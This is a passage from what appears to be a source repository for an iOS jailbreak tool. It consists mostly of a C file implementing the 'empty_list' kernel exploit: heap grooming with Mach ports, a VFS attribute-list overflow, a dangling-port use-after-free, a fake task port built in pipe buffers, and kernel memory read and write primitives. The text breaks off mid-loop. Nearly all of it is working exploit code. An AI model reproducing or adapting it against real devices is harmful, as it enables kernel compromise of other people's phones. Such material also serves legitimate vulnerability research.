uint64_t proc_addr = rk64(task_kaddr + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO)); 799 | 800 | // struct filedesc 801 | uint64_t filedesc = rk64(proc_addr + koffset(KSTRUCT_OFFSET_PROC_P_FD)); 802 | 803 | // base of ofiles array 804 | uint64_t ofiles_base = rk64(filedesc + koffset(KSTRUCT_OFFSET_FILEDESC_FD_OFILES)); 805 | 806 | uint64_t ofiles_offset = ofiles_base + (replacer_pipe * 8); 807 | 808 | // struct fileproc 809 | uint64_t fileproc = rk64(ofiles_offset); 810 | 811 | // struct fileglob 812 | uint64_t fileglob = rk64(fileproc + koffset(KSTRUCT_OFFSET_FILEPROC_F_FGLOB)); 813 | 814 | // struct pipe 815 | uint64_t pipe = rk64(fileglob + koffset(KSTRUCT_OFFSET_FILEGLOB_FG_DATA)); 816 | 817 | // clear the inline struct pipebuf 818 | printf("clearing pipebuf: %llx\n", pipe); 819 | wk64(pipe + 0x00, 0); 820 | wk64(pipe + 0x08, 0); 821 | wk64(pipe + 0x10, 0); 822 | 823 | // do the same for the other end: 824 | ofiles_offset = ofiles_base + ((replacer_pipe+1) * 8); 825 | 826 | // struct fileproc 827 | fileproc = rk64(ofiles_offset); 828 | 829 | // struct fileglob 830 | fileglob = rk64(fileproc + koffset(KSTRUCT_OFFSET_FILEPROC_F_FGLOB)); 831 | 832 | // struct pipe 833 | pipe = rk64(fileglob + koffset(KSTRUCT_OFFSET_FILEGLOB_FG_DATA)); 834 | 835 | printf("clearing pipebuf: %llx\n", pipe); 836 | wk64(pipe + 0x00, 0); 837 | wk64(pipe + 0x08, 0); 838 | wk64(pipe + 0x10, 0); 839 | 840 | // that should have cleared everything up! 841 | printf("done!\n"); 842 | 843 | return ret; 844 | } 845 | -------------------------------------------------------------------------------- /noncereboot1131UI/exploit/vfs_sploit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #include 13 | 14 | #include "vfs_sploit.h" 15 | #include "offsets.h" 16 | #include "kmem.h" 17 | #include "IOKit.h" 18 | 19 | #include "exploit_additions.h" 20 | #include "noncereboot.h" 21 | 22 | void empty_list_build_fake_task_port(uint8_t* fake_port, uint64_t fake_port_kaddr, uint64_t initial_read_addr, uint64_t vm_map, uint64_t receiver, uint64_t context) { 23 | // clear the region we'll use: 24 | memset(fake_port, 0, 0x500); 25 | 26 | *(uint32_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS)) = IO_BITS_ACTIVE | IKOT_TASK; 27 | *(uint32_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES)) = 0xf00d; // leak references 28 | *(uint32_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS)) = 0xf00d; // leak srights 29 | *(uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER)) = receiver; 30 | *(uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT)) = context; 31 | 32 | 33 | uint64_t fake_task_kaddr = fake_port_kaddr + 0x100; 34 | *(uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)) = fake_task_kaddr; 35 | 36 | uint8_t* fake_task = fake_port + 0x100; 37 | 38 | // set the ref_count field of the fake task: 39 | *(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT)) = 0xd00d; // leak references 40 | 41 | // make sure the task is active 42 | *(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_ACTIVE)) = 1; 43 | 44 | // set the vm_map of the fake task: 45 | *(uint64_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)) = vm_map; 46 | 47 | // set the task lock type of the fake task's lock: 48 | *(uint8_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE)) = 0x22; 49 | 50 | // set the bsd_info pointer to be 0x10 bytes before the desired initial read: 51 | *(uint64_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO)) = initial_read_addr - 0x10; 52 | } 53 | 54 | #define N_EARLY_PORTS 80000 55 | mach_port_t early_ports[N_EARLY_PORTS+20000]; 56 | int next_early_port = 0; 57 | 58 | void alloc_early_ports() { 59 | for (int i = 0; i < N_EARLY_PORTS; i++) { 60 | kern_return_t err; 61 | err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &early_ports[i]); 62 | if (err != KERN_SUCCESS) { 63 | printf("mach_port_allocate failed to allocate a new port for early_ports (%d)\n", i); 64 | } 65 | } 66 | next_early_port = N_EARLY_PORTS-1; 67 | } 68 | 69 | mach_port_t steal_early_port() { 70 | if (next_early_port == 0) { 71 | printf("out of early ports\n"); 72 | sleep(100); 73 | } 74 | mach_port_t p = early_ports[next_early_port]; 75 | next_early_port--; 76 | //early_ports[next_early_port--] = MACH_PORT_NULL; 77 | return p; 78 | } 79 | 80 | void dump_early_ports(){ 81 | for (int i = 0; i < N_EARLY_PORTS; i++) { 82 | printf("EARLY %d %08x\n", i, early_ports[i]); 83 | } 84 | } 85 | 86 | void clear_early_ports() { 87 | for (int i = 0; i < next_early_port; i++) { 88 | mach_port_destroy(mach_task_self(), early_ports[i]); 89 | } 90 | } 91 | 92 | struct kalloc_16_send_msg { 93 | mach_msg_header_t hdr; 94 | mach_msg_body_t body; 95 | mach_msg_ool_ports_descriptor_t ool_ports; 96 | uint8_t pad[0x200]; 97 | }; 98 | 99 | mach_port_t kalloc_16() { 100 | kern_return_t err; 101 | // take an early port: 102 | mach_port_t port = steal_early_port(); 103 | 104 | // insert a send right: 105 | mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); 106 | 107 | uint32_t msg_size = message_size_for_kalloc_size(0x110); 108 | // send a message with two OOL NULL ports; these will end up in a kalloc.16: 109 | struct kalloc_16_send_msg kalloc_msg = {0}; 110 | 111 | kalloc_msg.hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); 112 | kalloc_msg.hdr.msgh_size = msg_size; //sizeof(struct kalloc_16_send_msg); 113 | kalloc_msg.hdr.msgh_remote_port = port; 114 | kalloc_msg.hdr.msgh_local_port = MACH_PORT_NULL; 115 | kalloc_msg.hdr.msgh_id = 0x41414141; 116 | 117 | kalloc_msg.body.msgh_descriptor_count = 1; 118 | 119 | mach_port_t ool_ports[2] = {0xffffffff, 0xffffffff}; 120 | 121 | kalloc_msg.ool_ports.address = ool_ports; 122 | kalloc_msg.ool_ports.count = 2; 123 | kalloc_msg.ool_ports.deallocate = 0; 124 | kalloc_msg.ool_ports.disposition = MACH_MSG_TYPE_COPY_SEND; 125 | kalloc_msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; 126 | kalloc_msg.ool_ports.copy = MACH_MSG_PHYSICAL_COPY; 127 | 128 | 129 | // send it: 130 | err = mach_msg(&kalloc_msg.hdr, 131 | MACH_SEND_MSG|MACH_MSG_OPTION_NONE, 132 | (mach_msg_size_t)msg_size,//sizeof(struct kalloc_16_send_msg), 133 | 0, 134 | MACH_PORT_NULL, 135 | MACH_MSG_TIMEOUT_NONE, 136 | MACH_PORT_NULL); 137 | if (err != KERN_SUCCESS) { 138 | printf("sending kalloc.16 message failed %s\n", mach_error_string(err)); 139 | } 140 | 141 | return port; 142 | } 143 | 144 | #define N_MIDDLE_PORTS 50000 145 | mach_port_t middle_ports[N_MIDDLE_PORTS]; 146 | int next_middle_port = 0; 147 | 148 | mach_port_t alloc_middle_port() { 149 | mach_port_t port; 150 | kern_return_t err; 151 | err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); 152 | mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); // added 153 | if (err != KERN_SUCCESS) { 154 | printf("failed to alloc middle port\n"); 155 | } 156 | middle_ports[next_middle_port++] = port; 157 | return port; 158 | } 159 | 160 | struct ool_multi_msg { 161 | mach_msg_header_t hdr; 162 | mach_msg_body_t body; 163 | mach_msg_ool_ports_descriptor_t ool_ports[0]; 164 | }; 165 | 166 | // to free them either receive the message or destroy the port 167 | mach_port_t hold_kallocs(uint32_t kalloc_size, int allocs_per_message, int messages_to_send, mach_port_t holder_port, mach_port_t* source_ports) { 168 | if (messages_to_send > MACH_PORT_QLIMIT_LARGE) { 169 | printf("****************** too many messages\n"); 170 | return MACH_PORT_NULL; 171 | } 172 | 173 | kern_return_t err; 174 | mach_port_t port = MACH_PORT_NULL; 175 | 176 | if (holder_port == MACH_PORT_NULL) { 177 | err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); 178 | mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); 179 | 180 | if (err != KERN_SUCCESS) { 181 | printf("failed to allocate port for hold kallocs\n"); 182 | } 183 | 184 | // bump up the number of messages we can enqueue: 185 | mach_port_limits_t limits = {0}; 186 | limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE; 187 | err = mach_port_set_attributes(mach_task_self(), 188 | port, 189 | MACH_PORT_LIMITS_INFO, 190 | (mach_port_info_t)&limits, 191 | MACH_PORT_LIMITS_INFO_COUNT); 192 | if (err != KERN_SUCCESS) { 193 | printf(" [-] failed to increase queue limit\n"); 194 | return ERR_EXPLOIT; 195 | } 196 | } else { 197 | port = holder_port; 198 | } 199 | 200 | // these are MACH_PORT_NULL 201 | mach_port_t* ports_to_send = calloc(kalloc_size/8, sizeof(mach_port_name_t)); 202 | 203 | size_t message_size = offsetof(struct ool_multi_msg, ool_ports[allocs_per_message+1]); 204 | struct ool_multi_msg* msg = malloc(message_size); 205 | 206 | memset(msg, 0, message_size); 207 | 208 | msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); 209 | msg->hdr.msgh_size = (uint32_t) message_size; 210 | msg->hdr.msgh_remote_port = port; 211 | msg->hdr.msgh_local_port = MACH_PORT_NULL; 212 | msg->hdr.msgh_id = 0x12340101; 213 | 214 | msg->body.msgh_descriptor_count = allocs_per_message; 215 | 216 | for (int i = 0; i < allocs_per_message; i++) { 217 | msg->ool_ports[i].address = source_ports != NULL ? source_ports : ports_to_send; 218 | msg->ool_ports[i].count = kalloc_size/8; 219 | msg->ool_ports[i].deallocate = 0; 220 | msg->ool_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND; 221 | msg->ool_ports[i].type = MACH_MSG_OOL_PORTS_DESCRIPTOR; 222 | msg->ool_ports[i].copy = MACH_MSG_PHYSICAL_COPY; 223 | } 224 | 225 | for (int i = 0; i < messages_to_send; i++) { 226 | // send it: 227 | err = mach_msg(&msg->hdr, 228 | MACH_SEND_MSG|MACH_MSG_OPTION_NONE, 229 | (uint32_t)message_size, 230 | 0, 231 | MACH_PORT_NULL, 232 | MACH_MSG_TIMEOUT_NONE, 233 | MACH_PORT_NULL); 234 | if (err != KERN_SUCCESS) { 235 | printf("%s\n", mach_error_string(err)); 236 | //return ERR_EXPLOIT; 237 | } 238 | } 239 | free(ports_to_send); 240 | free(msg); 241 | 242 | return port; 243 | } 244 | 245 | uint8_t msg_buf[10000]; 246 | void discard_message(mach_port_t port) { 247 | mach_msg_header_t* msg = (mach_msg_header_t*)msg_buf; 248 | kern_return_t err; 249 | err = mach_msg(msg, 250 | MACH_RCV_MSG | MACH_MSG_TIMEOUT_NONE, // no timeout 251 | 0, 252 | 10000, 253 | port, 254 | 0, 255 | 0); 256 | if (err != KERN_SUCCESS){ 257 | printf("error receiving on port: %s\n", mach_error_string(err)); 258 | } 259 | 260 | mach_msg_destroy(msg); 261 | } 262 | 263 | #include 264 | 265 | int vfs_fd = -1; 266 | struct attrlist al = {0}; 267 | size_t attrBufSize = 16; 268 | void* attrBuf = NULL; 269 | 270 | void prepare_vfs_overflow() { 271 | vfs_fd = open("/", O_RDONLY); 272 | if (vfs_fd == -1) { 273 | perror("unable to open fs root\n"); 274 | return; 275 | } 276 | 277 | 278 | al.bitmapcount = ATTR_BIT_MAP_COUNT; 279 | al.volattr = 0xfff; 280 | al.commonattr = ATTR_CMN_RETURNED_ATTRS; 281 | 282 | attrBuf = malloc(attrBufSize); 283 | } 284 | 285 | // this will do a kalloc.16, overflow out of it with 8 NULL bytes, then free it 286 | void do_vfs_overflow() { 287 | int options = 0; 288 | int err = fgetattrlist(vfs_fd, &al, attrBuf, attrBufSize, options); 289 | //printf("err: %d\n", err); 290 | } 291 | 292 | mach_port_t initial_early_kallocs[80000]; 293 | int next_early_kalloc = 0; 294 | 295 | mach_port_t middle_kallocs[80000]; 296 | int next_middle_kalloc = 0; 297 | 298 | 299 | // in the end I don't use these, but maybe they help? 300 | 301 | volatile int keep_spinning = 1; 302 | void* spinner(void* arg) { 303 | while(keep_spinning); 304 | return NULL; 305 | } 306 | 307 | #define N_SPINNERS 25 308 | pthread_t spin_threads[N_SPINNERS]; 309 | 310 | void start_spinners() { 311 | 312 | for (int i = 0; i < N_SPINNERS; i++) { 313 | pthread_create(&spin_threads[i], NULL, spinner, NULL); 314 | } 315 | } 316 | 317 | void stop_spinners() { 318 | 319 | keep_spinning = 0; 320 | for (int i = 0; i < N_SPINNERS; i++) { 321 | pthread_join(spin_threads[i], NULL); 322 | } 323 | } 324 | 325 | const int total_fds = 14*0x1f*8; 326 | int read_ends[total_fds]; 327 | int write_ends[total_fds]; 328 | int next_pipe_index = 0; 329 | 330 | mach_port_t early_read_port = MACH_PORT_NULL; 331 | int early_read_read_fd = -1; 332 | int early_read_write_fd = -1; 333 | uint64_t early_read_known_kaddr = 0; 334 | 335 | // read_fd and write_fd are the pipe fds which have a pipe buffer at known_addr 336 | void prepare_early_read_primitive(mach_port_t target_port, int read_fd, int write_fd, uint64_t known_kaddr) { 337 | early_read_port = target_port; 338 | early_read_read_fd = read_fd; 339 | early_read_write_fd = write_fd; 340 | early_read_known_kaddr = known_kaddr; 341 | } 342 | 343 | uint32_t empty_list_early_rk32(uint64_t kaddr) { 344 | uint8_t* buf = malloc(0xfff); 345 | read(early_read_read_fd, buf, 0xfff); 346 | empty_list_build_fake_task_port(buf, early_read_known_kaddr, kaddr, 0, 0, 0); 347 | write(early_read_write_fd, buf, 0xfff); 348 | 349 | uint32_t val = 0; 350 | kern_return_t err = pid_for_task(early_read_port, (int*)&val); 351 | if (err != KERN_SUCCESS) { 352 | printf("pid_for_task returned %x (%s)\n", err, mach_error_string(err)); 353 | } 354 | printf("read val via pid_for_task: %08x\n", val); 355 | free(buf); 356 | return val; 357 | } 358 | 359 | uint64_t empty_list_early_rk64(uint64_t kaddr) { 360 | uint64_t lower = (uint64_t)empty_list_early_rk32(kaddr); 361 | uint64_t upper = (uint64_t)empty_list_early_rk32(kaddr + 4); 362 | uint64_t final = lower | (upper << 32); 363 | return final; 364 | } 365 | 366 | int vfs_sploit() { 367 | kern_return_t ret = ERR_NOERR; 368 | printf("empty_list by @i41nbeer\n"); 369 | 370 | start_spinners(); 371 | printf("vfs_sploit\n"); 372 | increase_limits(); 373 | 374 | size_t kernel_page_size = 0; 375 | host_page_size(mach_host_self(), &kernel_page_size); 376 | if (kernel_page_size == 0x4000) { 377 | printf("this device uses 16k kernel pages\n"); 378 | } else if (kernel_page_size == 0x1000) { 379 | printf("this device uses 4k kernel pages\n"); 380 | } else { 381 | printf("this device uses an unsupported kernel page size\n"); 382 | return ERR_UNSUPPORTED; 383 | } 384 | 385 | 386 | prepare_vfs_overflow(); 387 | // set up the heap: 388 | 389 | // allocate a pool of early ports; we'll use some of these later 390 | alloc_early_ports(); 391 | 392 | if (kernel_page_size == 0x1000) { 393 | mach_port_t initial_kallocs_holder = hold_kallocs(0x10, 100, 100, MACH_PORT_NULL, NULL); 394 | } 395 | 396 | // 0x110 will be the kalloc size of the ipc_kmsg allocation for the kalloc.16 messages 397 | // we need to ensure that these allocations don't interfere with the page-level groom, 398 | // so ensure there's a long freelist for them 399 | 400 | // make 30'000 kalloc(0x110) calls then free them all 401 | mach_port_t flp = hold_kallocs(0x110, 100, 500, MACH_PORT_NULL, NULL); 402 | mach_port_destroy(mach_task_self(), flp); 403 | 404 | // try to groom our initial pattern: 405 | // kalloc.16 | ipc_ports | kalloc.16 | ipc_ports ... 406 | // first off we're just trying to get the pages like that 407 | 408 | int INITIAL_PATTERN_REPEATS = kernel_page_size == 0x4000 ? 40 : 60; 409 | mach_port_t kalloc_holder_port = MACH_PORT_NULL; 410 | 411 | 412 | int kallocs_per_zcram = (int)kernel_page_size/0x10; // 0x1000 with small kernel pages, 0x4000 with large 413 | int ports_per_zcram = kernel_page_size == 0x1000 ? 0x49 : 0x61; // 0x3000 with small kernel pages, 0x4000 with large 414 | 415 | for (int i = 0; i < INITIAL_PATTERN_REPEATS; i++) { 416 | // 1 page of kalloc 417 | for (int i = 0; i < kallocs_per_zcram; i++) { 418 | mach_port_t p = kalloc_16(); 419 | initial_early_kallocs[next_early_kalloc++] = p; 420 | } 421 | 422 | // 1 full allocation set of ports: 423 | for (int i = 0; i < ports_per_zcram; i++) { 424 | mach_port_t port = alloc_middle_port(); 425 | } 426 | } 427 | 428 | // now we hopefully have a nice arrangement of repeated fresh 'k.16 | ipc_port' pages 429 | // to understand this next bit it's important to notice that zone allocations will come first 430 | // from intermediate (partially full) pages. This means that if we just start free'ing and 431 | // allocating k.16 objects somewhere in the middle of the groom they won't be re-used until 432 | // the current intermediate page is either full or empty. 433 | 434 | // this provides a challenge because fresh page's freelist's are filled semi-randomly such that 435 | // their allocations will go from the inside to the outside: 436 | // 437 | // | 9 8 6 5 2 1 3 4 7 10 | <-- example "randomized" allocation order from a fresh all-free page 438 | // 439 | // this means that our final intermediate k.16 and ports pages will look a bit like this: 440 | // 441 | // | - - - 5 2 1 3 4 - - | - - - 4 1 2 3 5 - - | 442 | // kalloc.16 ipc_ports 443 | 444 | // if we use the overflow to corrupt a freelist entry we'll panic if it gets allocated, so we 445 | // need to avoid that 446 | 447 | // the trick is that by controlling the allocation and free order we can reverse the freelists such that 448 | // the final intermediate pages will look more like this: 449 | // 450 | // | 1 4 - - - - - 5 3 2 | 2 5 - - - - - 4 3 1 | 451 | // kalloc.16 ipc_ports 452 | // 453 | // at this point we're much more likely to be able to free a kalloc.16 and realloc it for the overflow 454 | // such that we can hit the first qword of an ipc_port 455 | 456 | 457 | // free them all, reversing the freelists! 458 | for (int i = 0; i < next_early_kalloc; i++) { 459 | discard_message(initial_early_kallocs[i]); 460 | } 461 | 462 | int HOP_BACK = kernel_page_size == 0x4000 ? 16 : 30; 463 | 464 | for (int i = 0; i < INITIAL_PATTERN_REPEATS - HOP_BACK; i++) { 465 | for (int i = 0; i < kallocs_per_zcram; i++) { 466 | mach_port_t p = kalloc_16(); 467 | middle_kallocs[next_middle_kalloc++] = p; 468 | } 469 | } 470 | 471 | mach_port_t target_port = MACH_PORT_NULL; 472 | 473 | int first_candidate_port_index = next_middle_port - ((HOP_BACK+2)*ports_per_zcram); // 32 35 +2 474 | int last_candidate_port_index = next_middle_port - ((HOP_BACK-2)*ports_per_zcram); // 28 25 -2 475 | 476 | //sched_yield(); 477 | // wait a second 478 | // this is a load-bearing sleep - this works better than sched_yield 479 | // we want this loop to be as fast as possible, and ideally not get pre-empted 480 | // don't remove this :) 481 | sleep(1); 482 | for (int i = 0; i < kallocs_per_zcram; i++) { 483 | mach_port_t kp = middle_kallocs[next_middle_kalloc-20-1]; 484 | next_middle_kalloc--; 485 | 486 | discard_message(kp); 487 | 488 | do_vfs_overflow(); 489 | 490 | // realloc 491 | mach_port_t replacer_f = kalloc_16(); 492 | 493 | // loop through the candidate overwrite target ports and see if they were hit 494 | // we can detect this via mach_port_kobject; if we know the name we pass it is valid 495 | // but we get KERN_INVALID_RIGHT then we cleared the io_active bit 496 | 497 | for (int j = first_candidate_port_index; j < last_candidate_port_index; j++){ 498 | mach_port_t candidate_port = middle_ports[j]; 499 | kern_return_t err; 500 | natural_t typep = 0; 501 | mach_vm_address_t addr = 0; 502 | 503 | err = mach_port_kobject(mach_task_self(), 504 | candidate_port, 505 | &typep, 506 | &addr); 507 | if (err != KERN_SUCCESS) { 508 | printf("found the port! %x\n", candidate_port); 509 | target_port = candidate_port; 510 | break; 511 | } 512 | } 513 | if (target_port != MACH_PORT_NULL) { 514 | break; 515 | } 516 | } 517 | 518 | stop_spinners(); 519 | 520 | // lets stash the ports we want to keep: 521 | 522 | // we know the dangling port is about 30 loops back from the end of the middle_ports 523 | // lets keep hold of a region about 3 loop iterations ahead of this 524 | 525 | #define CANARY_REGION 4 526 | 527 | int ports_to_hold = ports_per_zcram; //ports_per_zcram * 3;//0x49*3; 528 | mach_port_t hold_ports[ports_to_hold]; 529 | for (int i = 0; i < ports_to_hold; i++) { 530 | int source_index = ((INITIAL_PATTERN_REPEATS - HOP_BACK + CANARY_REGION) * ports_per_zcram) + i; // 20 10 531 | hold_ports[i] = middle_ports[source_index]; 532 | middle_ports[source_index] = MACH_PORT_NULL; 533 | } 534 | 535 | // now dump all our ports 536 | // we can keep the early ports, we'll continue to use them for kallocs and stuff 537 | 538 | for (int i = 0; i < next_middle_port; i++) { 539 | mach_port_t port = middle_ports[i]; 540 | if (port == MACH_PORT_NULL) { 541 | continue; 542 | } 543 | if (port == target_port) { 544 | // cause the target port to be freed but leave us a dangling entry in the port table 545 | // note that the port isn't active so we need a code path which will take and drop a reference 546 | // but won't do anything if the port isn't active (like trying to give us a DEAD_NAME) 547 | int new_size = 100; 548 | kern_return_t err = mach_port_set_attributes(mach_task_self(), target_port, MACH_PORT_DNREQUESTS_SIZE, (mach_port_info_t)&new_size, sizeof(int)); 549 | if (err != KERN_SUCCESS) { 550 | printf("mach_port_set_attributes failed %s\n", mach_error_string(err)); 551 | } else { 552 | printf("freed the port\n"); 553 | } 554 | } else { 555 | mach_port_destroy(mach_task_self(), port); 556 | } 557 | } 558 | 559 | // 150MB 560 | #define N_COLLECTABLES 3 561 | mach_port_t collectable_ports[N_COLLECTABLES]; 562 | for (int i = 0; i < N_COLLECTABLES; i++) { 563 | collectable_ports[i] = hold_kallocs(0x800, 0x3e, 400, MACH_PORT_NULL, NULL); 564 | } 565 | 566 | for (int i = 0; i < N_COLLECTABLES; i++) { 567 | mach_port_destroy(mach_task_self(), collectable_ports[i]); 568 | } 569 | 570 | 571 | // choose a port from the middle of the holder range as our canary: 572 | mach_port_t canary_port = hold_ports[ports_to_hold/2]; 573 | mach_port_insert_right(mach_task_self(), canary_port, canary_port, MACH_MSG_TYPE_MAKE_SEND); 574 | 575 | 576 | // now try to cause the GC by allocating many copies of the replacer object: 577 | // the goal is to get the canary port overlapping the ip_context field of the dangling port 578 | mach_port_t replacer_object[0x200] = {0}; 579 | replacer_object[koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT)/8] = canary_port; 580 | 581 | // the replacer object allocation is a 0x1000 alloc 582 | // using the same maths as above lets allocate 200 MB of them, 583 | // slowly, hoping to cause GC: 584 | //int n_gc_ports = 200; 585 | int n_gc_ports = 250; // 200 586 | mach_port_t gc_ports[n_gc_ports]; 587 | for (int i = 0; i < n_gc_ports; i++) { 588 | gc_ports[i] = hold_kallocs(0x1000, 0x1f, 8, MACH_PORT_NULL, replacer_object); 589 | printf("gc tick %d\n", i); 590 | pthread_yield_np(); 591 | usleep(10000); 592 | } 593 | printf("did that trigger a gc and realloc?\n"); 594 | 595 | // if that worked we should now be able to find the address of the canary port: 596 | uint64_t canary_port_kaddr = 0; 597 | kern_return_t err; 598 | err = mach_port_get_context(mach_task_self(), target_port, (mach_port_context_t*)&canary_port_kaddr); 599 | if (err != KERN_SUCCESS) { 600 | printf("error getting context from the target port (but no panic...): %s\n", mach_error_string(err)); 601 | } 602 | 603 | printf("the canary port is at %016llx\n", canary_port_kaddr); 604 | 605 | // lets modify the port so we can detect when we receive the message which has the OOL_PORTS descriptor which 606 | // overlaps the dangling target port: 607 | 608 | // we should be a bit more careful doing this to not go off the end: 609 | uint64_t fake_canary_kport_addr = canary_port_kaddr + 0xa8; 610 | 611 | err = mach_port_set_context(mach_task_self(), target_port, fake_canary_kport_addr); 612 | 613 | 614 | // lets build the contents of the pipe buffer 615 | // we're gonna hope that we can get this allocated pretty near the canary port: 616 | size_t pipe_buffer_size = 0xfff; // this is for kalloc.4096 617 | uint8_t* pipe_buf = malloc(0x1000); 618 | memset(pipe_buf, 0, 0x1000); 619 | 620 | uint64_t pipe_target_kaddr_offset = kernel_page_size == 0x4000 ? 0x20000 : 0x10000; 621 | 622 | uint64_t pipe_target_kaddr = (canary_port_kaddr + pipe_target_kaddr_offset) & (~0xfffULL); // 0x10000 623 | printf("pipe_target_kaddr: %016llx\n", pipe_target_kaddr); 624 | 625 | empty_list_build_fake_task_port(pipe_buf, pipe_target_kaddr, pipe_target_kaddr, 0, 0, 0); 626 | 627 | 628 | // now go through each of the hold_kalloc messages and receive them. 629 | // check if they contained the canary port 630 | // reallocate them 631 | 632 | mach_port_t secondary_leaker_ports[200] = {0}; 633 | 634 | struct { 635 | mach_msg_header_t hdr; 636 | mach_msg_body_t body; 637 | mach_msg_ool_ports_descriptor_t ool_ports[0x1f]; 638 | mach_msg_trailer_t trailer; 639 | char pad[1000]; 640 | } msg = {0}; 641 | 642 | printf("sizeof(msg) 0x%x\n", (mach_port_t)sizeof(msg)); 643 | 644 | int hit_dangler = 0; 645 | int dangler_hits = 0; 646 | printf("the canary port is: %x\n", canary_port); 647 | 648 | mach_port_t fake_canary_port = MACH_PORT_NULL; 649 | 650 | for (int i = 0; i < n_gc_ports; i++) { 651 | mach_port_t gc_port = gc_ports[i]; 652 | 653 | for (int j = 0; j < 8; j++) { 654 | err = mach_msg(&msg.hdr, 655 | MACH_RCV_MSG, 656 | 0, 657 | sizeof(msg), 658 | gc_port, 659 | 0, 660 | 0); 661 | if (err != KERN_SUCCESS) { 662 | printf("failed to receive OOL_PORTS message (%d,%d) %s\n", i, j, mach_error_string(err)); 663 | } 664 | 665 | // check each of the canary ports: 666 | for (int k = 0; k < 0x1f; k++) { 667 | mach_port_t* ool_ports = msg.ool_ports[k].address; 668 | mach_port_t tester_port = ool_ports[koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT)/8]; 669 | if (tester_port != canary_port) { 670 | printf("found the mis-matching OOL discriptor (%x)\n", tester_port); 671 | hit_dangler = 1; 672 | fake_canary_port = tester_port; 673 | } else { 674 | // drop the UREF 675 | mach_port_deallocate(mach_task_self(), tester_port); 676 | } 677 | } 678 | } 679 | 680 | if (!hit_dangler) { 681 | // if we haven't yet hit the dangler, try to reallocate this memory: 682 | secondary_leaker_ports[i] = hold_kallocs(0x1000, 0x1f, 8, MACH_PORT_NULL, NULL); 683 | } else { 684 | if (dangler_hits == 14) { 685 | // we'll run out of pipe kva so stop now 686 | printf("hopefully that's enough pipes\n"); 687 | break; 688 | } 689 | for (int i = 0; i < (0x1f*8); i++) { 690 | // we have hit the dangler; from now on out we'll realloc with pipes 691 | // pipe memory is limited 692 | int fds[2] = {0}; 693 | int err = pipe(fds); 694 | if (err != 0) { 695 | perror("pipe failed\n"); 696 | } 697 | 698 | int read_end = fds[0]; 699 | int write_end = fds[1]; 700 | 701 | int flags = fcntl(write_end, F_GETFL); 702 | flags |= O_NONBLOCK; 703 | fcntl(write_end, F_SETFL, flags); 704 | 705 | empty_list_build_fake_task_port(pipe_buf, pipe_target_kaddr, pipe_target_kaddr, 0, 0, next_pipe_index); 706 | 707 | ssize_t amount_written = write(write_end, pipe_buf, 0xfff); 708 | if (amount_written != 0xfff) { 709 | printf("amount written was short: 0x%x\n", (unsigned int)amount_written); 710 | } 711 | 712 | read_ends[next_pipe_index] = read_end; 713 | write_ends[next_pipe_index++] = write_end; 714 | 715 | } 716 | dangler_hits++; 717 | } 718 | 719 | } 720 | 721 | 722 | printf("replaced with pipes hopefully... take a look\n"); 723 | 724 | // check the kernel object type of the dangling port: 725 | int otype = 0; 726 | mach_vm_address_t oaddr = 0; 727 | err = mach_port_kobject(mach_task_self(), target_port, (natural_t*)&otype, &oaddr); 728 | if (err != KERN_SUCCESS) { 729 | printf("mach_port_kobject failed: %x %s\n", err, mach_error_string(err)); 730 | } 731 | printf("dangling port type: %x\n", otype); 732 | 733 | uint64_t replacer_pipe_index = 0xfffffff; 734 | err = mach_port_get_context(mach_task_self(), target_port, (mach_port_context_t*)&replacer_pipe_index); 735 | printf("got replaced with pipe fd index %d\n", (int)replacer_pipe_index); 736 | 737 | printf("gonna try a read...\n"); 738 | 739 | uint32_t val = 0; 740 | err = pid_for_task(target_port, (int*)&val); 741 | if (err != KERN_SUCCESS) { 742 | printf("pid_for_task returned %x (%s)\n", err, mach_error_string(err)); 743 | } 744 | printf("read val via pid_for_task: %08x\n", val); 745 | 746 | 747 | // at this point we know: 748 | // * which pipe fd overlaps with the dangling port 749 | // * the kernel address of the canary port (which is still a dangling port) 750 | // * the kernel address of the fake task (which is a pipe buffer, but we don't know which one) 751 | 752 | // things will be easier if we can learn the address of the dangling port giving us the address of the pipe buffer and a what/where primitive 753 | // we could hack around that by always rewriting all the pipes each time I guess... 754 | 755 | // for each pipe, apart from the one which we know overlaps with the port, replace the field which determines where to read from, then do the kernel read and see if the value is no longer 0x80000002 756 | char* old_contents = malloc(0xfff); 757 | char* new_contents = malloc(0xfff); 758 | int pipe_target_kaddr_replacer_index = -1; 759 | for (int i = 0; i < next_pipe_index; i++) { 760 | if (i == replacer_pipe_index) { 761 | continue; 762 